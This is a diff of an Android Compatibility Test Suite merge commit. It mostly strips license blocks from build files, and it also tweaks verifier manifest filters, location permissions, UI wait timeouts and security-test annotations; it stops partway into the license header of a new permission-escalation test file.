Merge "Add STS exeptions to ValidateTestsAbi#testBinariesAbis" am: 44cf873500 am: ae1a2ea72d
Original change: https://android-review.googlesource.com/c/platform/cts/+/1551379
MUST ONLY BE SUBMITTED BY AUTOMERGER
Change-Id: Ib2307dbbad7615eecd7f54e7044c8cd6028fbaf8
diff --git a/Android.bp b/Android.bp
index 1401117..2dce5de 100644
--- a/Android.bp
+++ b/Android.bp
@@ -1,35 +1,3 @@
-package {
- default_applicable_licenses: ["cts_license"],
-}
-
-// Added automatically by a large-scale-change that took the approach of
-// 'apply every license found to every target'. While this makes sure we respect
-// every license restriction, it may not be entirely correct.
-//
-// e.g. GPL in an MIT project might only apply to the contrib/ directory.
-//
-// Please consider splitting the single license below into multiple licenses,
-// taking care not to lose any license_kind information, and overriding the
-// default license using the 'licenses: [...]' property on targets as needed.
-//
-// For unused files, consider creating a 'fileGroup' with "//visibility:private"
-// to attach the license to, and including a comment whether the files may be
-// used in the current project.
-// See: http://go/android-license-faq
-license {
- name: "cts_license",
- visibility: [":__subpackages__"],
- license_kinds: [
- "SPDX-license-identifier-Apache-2.0",
- "SPDX-license-identifier-BSD",
- "SPDX-license-identifier-CC-BY",
- "SPDX-license-identifier-MIT",
- "SPDX-license-identifier-NCSA",
- "legacy_unencumbered",
- ],
- // large-scale-change unable to identify any license_text files
-}
-
java_defaults {
name: "cts_error_prone_rules",
errorprone: {
diff --git a/apps/CrossProfileTestApp/Android.bp b/apps/CrossProfileTestApp/Android.bp
index 948a94e..71e0acc 100644
--- a/apps/CrossProfileTestApp/Android.bp
+++ b/apps/CrossProfileTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CrossProfileTestApp",
defaults: ["cts_defaults"],
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
index e2821e9..69ef63f 100644
--- a/apps/CtsVerifier/Android.bp
+++ b/apps/CtsVerifier/Android.bp
@@ -1,14 +1,3 @@
-package {
- // See: http://go/android-license-faq
- // A large-scale-change added 'default_applicable_licenses' to import
- // all of the 'license_kinds' from "cts_license"
- // to get the below license kinds:
- // SPDX-license-identifier-Apache-2.0
- // SPDX-license-identifier-BSD
- // SPDX-license-identifier-CC-BY
- default_applicable_licenses: ["cts_license"],
-}
-
filegroup {
name: "CtsVerifierMockVrListenerServiceFiles",
srcs: ["src/com/android/cts/verifier/vr/MockVrListenerService.java"],
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index ab0d539..007be8c 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -27,8 +27,6 @@
endef
LOCAL_MODULE := cts-verifier-framework
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0 SPDX-license-identifier-BSD SPDX-license-identifier-CC-BY
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_AAPT_FLAGS := --auto-add-overlay --extra-packages android.support.v4
LOCAL_SDK_VERSION := current
LOCAL_MIN_SDK_VERSION := 19
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index ddcce1c..9d5b8cd 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -2535,7 +2535,7 @@
<meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
<meta-data android:name="test_excluded_features"
- android:value="android.hardware.type.automotive"/>
+ android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.leanback"/>
<meta-data android:name="display_mode"
android:value="single_display_mode" />
</activity>
@@ -4300,10 +4300,13 @@
<meta-data android:name="test_category" android:value="@string/test_category_tv" />
<meta-data android:name="test_required_features"
android:value="android.software.leanback" />
+ <meta-data android:name="test_required_configs"
+ android:value="config_tv_panel"/>
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
</activity>
+
<activity android:name=".screenpinning.ScreenPinningTestActivity"
android:label="@string/screen_pinning_test">
<intent-filter>
diff --git a/apps/CtsVerifier/jni/audio_loopback/Android.bp b/apps/CtsVerifier/jni/audio_loopback/Android.bp
index 97da63f..ad09fb5 100644
--- a/apps/CtsVerifier/jni/audio_loopback/Android.bp
+++ b/apps/CtsVerifier/jni/audio_loopback/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libaudioloopback_jni",
srcs: [
diff --git a/apps/CtsVerifier/jni/midi/Android.bp b/apps/CtsVerifier/jni/midi/Android.bp
index 67ba782..0928406 100644
--- a/apps/CtsVerifier/jni/midi/Android.bp
+++ b/apps/CtsVerifier/jni/midi/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libctsnativemidi_jni",
srcs: [
diff --git a/apps/CtsVerifier/jni/verifier/Android.bp b/apps/CtsVerifier/jni/verifier/Android.bp
index b6d1ed0..b5665a9 100644
--- a/apps/CtsVerifier/jni/verifier/Android.bp
+++ b/apps/CtsVerifier/jni/verifier/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libctsverifier_jni",
srcs: [
diff --git a/apps/CtsVerifierInstantApp/Android.bp b/apps/CtsVerifierInstantApp/Android.bp
index 0b26c66..045581d 100644
--- a/apps/CtsVerifierInstantApp/Android.bp
+++ b/apps/CtsVerifierInstantApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsVerifierInstantApp",
defaults: ["cts_defaults"],
diff --git a/apps/CtsVerifierUSBCompanion/Android.bp b/apps/CtsVerifierUSBCompanion/Android.bp
index bdae8ce..bf7d804 100644
--- a/apps/CtsVerifierUSBCompanion/Android.bp
+++ b/apps/CtsVerifierUSBCompanion/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsVerifierUSBCompanion",
static_libs: [
diff --git a/apps/EmptyDeviceAdmin/Android.bp b/apps/EmptyDeviceAdmin/Android.bp
index ed81a61..35d2343 100644
--- a/apps/EmptyDeviceAdmin/Android.bp
+++ b/apps/EmptyDeviceAdmin/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsEmptyDeviceAdmin",
defaults: ["cts_defaults"],
diff --git a/apps/EmptyDeviceOwner/Android.bp b/apps/EmptyDeviceOwner/Android.bp
index e811db0..44ea769 100644
--- a/apps/EmptyDeviceOwner/Android.bp
+++ b/apps/EmptyDeviceOwner/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsEmptyDeviceOwner",
defaults: ["cts_defaults"],
diff --git a/apps/ForceStopHelperApp/Android.bp b/apps/ForceStopHelperApp/Android.bp
index 0f67ddb..85a2f6d 100644
--- a/apps/ForceStopHelperApp/Android.bp
+++ b/apps/ForceStopHelperApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsForceStopHelper",
defaults: ["cts_defaults"],
diff --git a/apps/NotificationBot/Android.bp b/apps/NotificationBot/Android.bp
index 13cc839..8bf28ef 100644
--- a/apps/NotificationBot/Android.bp
+++ b/apps/NotificationBot/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "NotificationBot",
srcs: [
diff --git a/apps/OomCatcher/Android.bp b/apps/OomCatcher/Android.bp
index 5328900..477d8f3 100644
--- a/apps/OomCatcher/Android.bp
+++ b/apps/OomCatcher/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "OomCatcher",
defaults: ["cts_defaults"],
diff --git a/apps/PermissionApp/Android.bp b/apps/PermissionApp/Android.bp
index 5481315..53381d7 100644
--- a/apps/PermissionApp/Android.bp
+++ b/apps/PermissionApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsPermissionApp",
defaults: ["cts_defaults"],
diff --git a/apps/VpnApp/Android.bp b/apps/VpnApp/Android.bp
index 898f4bd..64e94fc 100644
--- a/apps/VpnApp/Android.bp
+++ b/apps/VpnApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_defaults {
name: "CtsVpnAppDefaults",
defaults: ["cts_defaults"],
diff --git a/apps/hotspot/AndroidManifest.xml b/apps/hotspot/AndroidManifest.xml
index 277be5f..fd8b045 100644
--- a/apps/hotspot/AndroidManifest.xml
+++ b/apps/hotspot/AndroidManifest.xml
@@ -5,6 +5,7 @@
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+ <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<application>
<activity android:name=".MainActivity">
<intent-filter>
diff --git a/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java b/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java
index 2e0ed87..eb81563 100644
--- a/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java
+++ b/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java
@@ -16,5 +16,11 @@
ActivityCompat.requestPermissions(
this, new String[] {Manifest.permission.ACCESS_COARSE_LOCATION}, 2);
}
+
+ if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
+ != PackageManager.PERMISSION_GRANTED) {
+ ActivityCompat.requestPermissions(
+ this, new String[] {Manifest.permission.ACCESS_FINE_LOCATION}, 2);
+ }
}
}
diff --git a/common/device-side/device-info/Android.bp b/common/device-side/device-info/Android.bp
index 881a95a..ad648c1 100644
--- a/common/device-side/device-info/Android.bp
+++ b/common/device-side/device-info/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "compatibility-device-info",
diff --git a/common/device-side/device-info/tests/Android.bp b/common/device-side/device-info/tests/Android.bp
index 9dd2ae9..abd0bb0 100644
--- a/common/device-side/device-info/tests/Android.bp
+++ b/common/device-side/device-info/tests/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test {
name: "compatibility-device-info-tests",
diff --git a/common/device-side/nativetesthelper/Android.bp b/common/device-side/nativetesthelper/Android.bp
index 3e77d81..216fb33 100644
--- a/common/device-side/nativetesthelper/Android.bp
+++ b/common/device-side/nativetesthelper/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "nativetesthelper",
diff --git a/common/device-side/nativetesthelper/jni/Android.bp b/common/device-side/nativetesthelper/jni/Android.bp
index 6507474..871207e 100644
--- a/common/device-side/nativetesthelper/jni/Android.bp
+++ b/common/device-side/nativetesthelper/jni/Android.bp
@@ -16,10 +16,6 @@
// This is the shared library included by the JNI test app.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_library_static {
name: "libnativetesthelper_jni",
diff --git a/common/device-side/preconditions/Android.bp b/common/device-side/preconditions/Android.bp
index cf41834..64f0ab0 100644
--- a/common/device-side/preconditions/Android.bp
+++ b/common/device-side/preconditions/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "compatibility-device-preconditions",
diff --git a/common/device-side/test-app/Android.bp b/common/device-side/test-app/Android.bp
index 23bd992..74f549d 100644
--- a/common/device-side/test-app/Android.bp
+++ b/common/device-side/test-app/Android.bp
@@ -15,10 +15,6 @@
// Build an APK which contains the device-side libraries and their tests,
// this then gets instrumented in order to test the aforementioned libraries.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CompatibilityTestApp",
diff --git a/common/device-side/util-axt/Android.bp b/common/device-side/util-axt/Android.bp
index a9be7f3..5757620 100644
--- a/common/device-side/util-axt/Android.bp
+++ b/common/device-side/util-axt/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_static {
name: "compatibility-device-util-axt",
sdk_version: "test_current",
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
index 07133d6..c2e4224 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
@@ -36,7 +36,7 @@
}
public static UiObject2 waitFindObject(BySelector selector) throws UiObjectNotFoundException {
- return waitFindObject(selector, 10_000);
+ return waitFindObject(selector, 20_000);
}
public static UiObject2 waitFindObject(BySelector selector, long timeoutMs)
@@ -51,21 +51,33 @@
public static UiObject2 waitFindObjectOrNull(BySelector selector)
throws UiObjectNotFoundException {
- return waitFindObjectOrNull(selector, 10_000);
+ return waitFindObjectOrNull(selector, 20_000);
}
public static UiObject2 waitFindObjectOrNull(BySelector selector, long timeoutMs)
throws UiObjectNotFoundException {
UiObject2 view = null;
long start = System.currentTimeMillis();
+
+ boolean isAtEnd = false;
+ boolean wasScrolledUpAlready = false;
while (view == null && start + timeoutMs > System.currentTimeMillis()) {
- view = getUiDevice().wait(Until.findObject(selector), timeoutMs / 10);
+ view = getUiDevice().wait(Until.findObject(selector), 1000);
if (view == null) {
UiScrollable scrollable = new UiScrollable(new UiSelector().scrollable(true));
scrollable.setSwipeDeadZonePercentage(0.25);
if (scrollable.exists()) {
- scrollable.scrollForward();
+ if (isAtEnd) {
+ if (wasScrolledUpAlready) {
+ return null;
+ }
+ scrollable.scrollToBeginning(Integer.MAX_VALUE);
+ isAtEnd = false;
+ wasScrolledUpAlready = true;
+ } else {
+ isAtEnd = !scrollable.scrollForward();
+ }
}
}
}
diff --git a/common/device-side/util-axt/tests/Android.bp b/common/device-side/util-axt/tests/Android.bp
index 73f1b34..0e8dfa0 100644
--- a/common/device-side/util-axt/tests/Android.bp
+++ b/common/device-side/util-axt/tests/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test {
name: "compatibility-device-util-tests-axt",
diff --git a/common/device-side/util/jni/Android.bp b/common/device-side/util/jni/Android.bp
index 45d5ff9..b5b0b56 100644
--- a/common/device-side/util/jni/Android.bp
+++ b/common/device-side/util/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_library_shared {
name: "libcts_jni",
diff --git a/common/host-side/util-axt/Android.bp b/common/host-side/util-axt/Android.bp
index 3fcbc3e..c701cff 100644
--- a/common/host-side/util-axt/Android.bp
+++ b/common/host-side/util-axt/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_host {
// The -axt suffix stands for "Android eXTension".
name: "compatibility-host-util-axt",
diff --git a/helpers/default/Android.bp b/helpers/default/Android.bp
index fa88045..dedb1dd 100644
--- a/helpers/default/Android.bp
+++ b/helpers/default/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "com.android.cts.helpers.aosp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/abioverride/Android.bp b/hostsidetests/abioverride/Android.bp
index c9ee8fe..df1b040 100644
--- a/hostsidetests/abioverride/Android.bp
+++ b/hostsidetests/abioverride/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsAbiOverrideHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/abioverride/app/Android.bp b/hostsidetests/abioverride/app/Android.bp
index 32cc870..7d32534 100644
--- a/hostsidetests/abioverride/app/Android.bp
+++ b/hostsidetests/abioverride/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAbiOverrideTestApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/abioverride/app/jni/Android.bp b/hostsidetests/abioverride/app/jni/Android.bp
index 2c5be2d..f3a3f93 100644
--- a/hostsidetests/abioverride/app/jni/Android.bp
+++ b/hostsidetests/abioverride/app/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libctsabioverride",
srcs: ["CtsAbiOverrideJniOnLoad.cpp"],
diff --git a/hostsidetests/accounts/Android.bp b/hostsidetests/accounts/Android.bp
index 0f79f1f..12b0747 100644
--- a/hostsidetests/accounts/Android.bp
+++ b/hostsidetests/accounts/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsAccountsHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/accounts/test-apps/AccountManagerCrossUserApp/Android.bp b/hostsidetests/accounts/test-apps/AccountManagerCrossUserApp/Android.bp
index 86ec360..95059f1 100644
--- a/hostsidetests/accounts/test-apps/AccountManagerCrossUserApp/Android.bp
+++ b/hostsidetests/accounts/test-apps/AccountManagerCrossUserApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAccountManagerCrossUserApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/adb/Android.mk b/hostsidetests/adb/Android.mk
index bfa2b02..ea6eb03 100644
--- a/hostsidetests/adb/Android.mk
+++ b/hostsidetests/adb/Android.mk
@@ -4,8 +4,6 @@
LOCAL_COMPATIBILITY_SUITE := cts general-tests
LOCAL_CTS_TEST_PACKAGE := android.host.adb
LOCAL_MODULE := CtsAdbHostTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_CLASS := JAVA_LIBRARIES
LOCAL_MODULE_TAGS := optional
LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
diff --git a/hostsidetests/adbmanager/Android.bp b/hostsidetests/adbmanager/Android.bp
index 92ae3d2..54616e5 100644
--- a/hostsidetests/adbmanager/Android.bp
+++ b/hostsidetests/adbmanager/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsAdbManagerHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/angle/Android.bp b/hostsidetests/angle/Android.bp
index 794ea69..a0faa3b 100644
--- a/hostsidetests/angle/Android.bp
+++ b/hostsidetests/angle/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsAngleIntegrationHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/angle/app/common/Android.bp b/hostsidetests/angle/app/common/Android.bp
index ca1b23f..fe33a37 100644
--- a/hostsidetests/angle/app/common/Android.bp
+++ b/hostsidetests/angle/app/common/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_helper_library {
name: "AngleIntegrationTestCommon",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/angle/app/driverTest/Android.bp b/hostsidetests/angle/app/driverTest/Android.bp
index e55ee7c..bd52d3a 100644
--- a/hostsidetests/angle/app/driverTest/Android.bp
+++ b/hostsidetests/angle/app/driverTest/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAngleDriverTestCases",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/angle/app/driverTestSecondary/Android.bp b/hostsidetests/angle/app/driverTestSecondary/Android.bp
index 3291a37..15e8e41 100644
--- a/hostsidetests/angle/app/driverTestSecondary/Android.bp
+++ b/hostsidetests/angle/app/driverTestSecondary/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAngleDriverTestCasesSecondary",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/apex/Android.bp b/hostsidetests/apex/Android.bp
index c2004e9..c1c9805 100644
--- a/hostsidetests/apex/Android.bp
+++ b/hostsidetests/apex/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsApexTestCases",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/appbinding/app/Android.bp b/hostsidetests/appbinding/app/Android.bp
index eeb1457..fbb4b63 100644
--- a/hostsidetests/appbinding/app/Android.bp
+++ b/hostsidetests/appbinding/app/Android.bp
@@ -25,10 +25,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_defaults {
name: "cts_hostside_appbinding_defaults",
libs: ["android.test.base"],
diff --git a/hostsidetests/appbinding/hostside/Android.bp b/hostsidetests/appbinding/hostside/Android.bp
index 91dfba4..cb7ebbd 100644
--- a/hostsidetests/appbinding/hostside/Android.bp
+++ b/hostsidetests/appbinding/hostside/Android.bp
@@ -11,10 +11,6 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsAppBindingHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/appcompat/compatchanges/Android.bp b/hostsidetests/appcompat/compatchanges/Android.bp
index 70d70ba..0e578ee 100644
--- a/hostsidetests/appcompat/compatchanges/Android.bp
+++ b/hostsidetests/appcompat/compatchanges/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsAppCompatHostTestCases",
defaults: ["cts_defaults"],
@@ -40,3 +36,6 @@
name: "cts-global-compat-config",
filename: "cts_all_compat_config.xml",
}
+
+
+
diff --git a/hostsidetests/appcompat/compatchanges/app/Android.bp b/hostsidetests/appcompat/compatchanges/app/Android.bp
index 9dde881..be40b28 100644
--- a/hostsidetests/appcompat/compatchanges/app/Android.bp
+++ b/hostsidetests/appcompat/compatchanges/app/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsHostsideCompatChangeTestsApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp
index 0353cb7..d0bdf36 100644
--- a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_static {
name: "pre_install_override_lib",
sdk_version: "current",
@@ -78,4 +74,4 @@
"vts10",
"general-tests",
],
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/appcompat/host/lib/Android.bp b/hostsidetests/appcompat/host/lib/Android.bp
index 8f44487..80be793 100644
--- a/hostsidetests/appcompat/host/lib/Android.bp
+++ b/hostsidetests/appcompat/host/lib/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_host {
name: "CompatChangeGatingTestBase",
srcs: ["**/*.java"],
diff --git a/hostsidetests/appcompat/strictjavapackages/Android.bp b/hostsidetests/appcompat/strictjavapackages/Android.bp
index 0f922102..57ee345 100644
--- a/hostsidetests/appcompat/strictjavapackages/Android.bp
+++ b/hostsidetests/appcompat/strictjavapackages/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsStrictJavaPackagesTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp
index 4aaddd9..0c80fa3 100644
--- a/hostsidetests/appsecurity/Android.bp
+++ b/hostsidetests/appsecurity/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsAppSecurityHostTestCases",
defaults: ["cts_defaults"],
@@ -43,7 +39,7 @@
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-documentsui",
"sts",
],
diff --git a/hostsidetests/appsecurity/certs/Android.bp b/hostsidetests/appsecurity/certs/Android.bp
index c0bf4a4..f856c5e 100644
--- a/hostsidetests/appsecurity/certs/Android.bp
+++ b/hostsidetests/appsecurity/certs/Android.bp
@@ -1,13 +1,3 @@
-package {
- // See: http://go/android-license-faq
- // A large-scale-change added 'default_applicable_licenses' to import
- // all of the 'license_kinds' from "cts_license"
- // to get the below license kinds:
- // SPDX-license-identifier-Apache-2.0
- // SPDX-license-identifier-NCSA
- default_applicable_licenses: ["cts_license"],
-}
-
android_app_certificate {
name: "cts-testkey1",
certificate: "cts-testkey1",
diff --git a/hostsidetests/appsecurity/certs/keysets/Android.bp b/hostsidetests/appsecurity/certs/keysets/Android.bp
index 5edce4c..ad30099 100644
--- a/hostsidetests/appsecurity/certs/keysets/Android.bp
+++ b/hostsidetests/appsecurity/certs/keysets/Android.bp
@@ -1,13 +1,3 @@
-package {
- // See: http://go/android-license-faq
- // A large-scale-change added 'default_applicable_licenses' to import
- // all of the 'license_kinds' from "cts_license"
- // to get the below license kinds:
- // SPDX-license-identifier-Apache-2.0
- // SPDX-license-identifier-NCSA
- default_applicable_licenses: ["cts_license"],
-}
-
android_app_certificate {
name: "cts-keyset-test-a",
certificate: "cts-keyset-test-a",
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index fbc01df..72de9bb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -21,6 +21,8 @@
import static org.junit.Assert.fail;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -379,6 +381,7 @@
}
@Test
+ @SecurityTest(minPatchLevel = "2020-11")
public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
if (mIsUnsupportedDevice) {
return;
@@ -388,6 +391,7 @@
}
@Test
+ @SecurityTest(minPatchLevel = "2020-11")
public void testInstallPermissionGrantedInPackageInfo() throws Exception {
if (mIsUnsupportedDevice) {
return;
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java
new file mode 100644
index 0000000..e0fe368
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionEscalationTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
